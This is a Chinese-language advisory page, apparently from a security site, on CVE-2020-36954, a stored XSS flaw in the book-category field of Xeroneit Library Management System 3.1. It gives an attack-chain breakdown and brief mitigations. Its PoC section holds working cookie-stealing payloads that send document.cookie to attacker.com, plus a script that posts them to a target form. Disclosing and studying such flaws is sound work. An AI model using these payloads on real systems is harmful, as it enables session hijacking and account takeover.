IPBUF安全漏洞报告
English
CVE-2020-36954 CVSS 6.4 中危

CVE-2020-36954 Xeroneit图书馆管理系统存储型XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36954
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Xeroneit Library Management System 3.1

相关标签

CVE-2020-36954存储型XSS跨站脚本Xeroneit LMS图书馆管理系统Web应用安全CVSS 6.4中等严重程度Session Hijacking

漏洞概述

CVE-2020-36954是Xeroneit Library Management System 3.1中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的图书分类(Book Category)功能模块,攻击者通过在分类名称(Category Name)字段中注入恶意JavaScript脚本代码,当其他管理员或用户访问包含该分类的页面时,恶意代码将在受害者浏览器中执行。由于该脚本内容被存储在服务器端,所有访问该页面的用户都会受到攻击影响,因此称为存储型XSS。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或在受害者浏览器中执行任意操作。漏洞利用需要较低权限(管理员账户即可),无需用户交互,攻击向量为网络,CVSS评分6.4,属于中等严重程度。

技术细节

该漏洞的根本原因在于Xeroneit图书馆管理系统在处理用户输入的图书分类名称时,未对输入内容进行充分的输入验证和输出编码。系统在将分类名称存储到数据库时,未对特殊字符进行过滤或转义。当管理员在后台管理界面添加新图书分类时,如果输入的分类名称包含恶意JavaScript代码(如<script>alert(document.cookie)</script>),该代码会被原样存储到数据库中。随后,当其他管理员访问图书分类列表页面或相关功能页面时,存储的恶意代码会被浏览器解析执行。由于漏洞位于管理后台,影响范围主要针对具有管理权限的用户,攻击者可利用窃取的会话Cookie进一步提升权限或获取系统敏感信息。攻击者可通过构造特定的XSS payload绕过简单的过滤机制,实现持久化的恶意脚本执行。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为Xeroneit Library Management System 3.1,确认其版本号和可访问的管理接口
STEP 2
Authentication
攻击者获取管理员账户凭据或利用低权限账户登录系统管理后台
STEP 3
XSS Payload Injection
攻击者构造恶意JavaScript代码,通过图书分类管理功能将payload注入到Category Name字段,payload被存储到数据库中
STEP 4
Payload Trigger
当其他管理员或用户访问图书分类列表页面时,存储的恶意脚本被浏览器作为HTML解析执行
STEP 5
Session Hijacking
恶意脚本窃取用户Cookie并发送到攻击者控制的服务器,攻击者利用Cookie劫持用户会话
STEP 6
Privilege Escalation/Data Exfiltration
攻击者利用窃取的会话进一步获取敏感数据、提升权限或在系统内进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36954 PoC - Stored XSS in Xeroneit LMS Book Category // Target: Xeroneit Library Management System 3.1 // Attack Vector: Inject malicious JavaScript in Category Name field // Login to the admin panel // Navigate to: Book Category Management // In the Category Name field, inject the following payload: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payloads: // <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // <svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))> // Steps: // 1. Authenticate as admin user // 2. Navigate to Book Category management section // 3. Enter the XSS payload in Category Name field // 4. Submit the form to save the category // 5. When any user views the category list, the XSS will execute // Example exploit script: function exploitXSS() { const targetUrl = 'http://target.com/lms/admin/category/add'; const payload = '<script>new Image().src="http://attacker.com/log?c="+encodeURIComponent(document.cookie)</script>'; const formData = new FormData(); formData.append('category_name', payload); formData.append('submit', 'Save'); fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' }); }

影响范围

Xeroneit Library Management System 3.1

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 限制管理后台访问权限,仅允许受信任的IP地址访问;2) 启用Web应用防火墙(WAF)对XSS攻击特征进行检测和拦截;3) 对管理用户进行安全意识培训,避免点击可疑链接;4) 定期审查系统日志,检测异常的XSS攻击尝试;5) 暂时禁用图书分类功能或实施严格的输入白名单验证机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表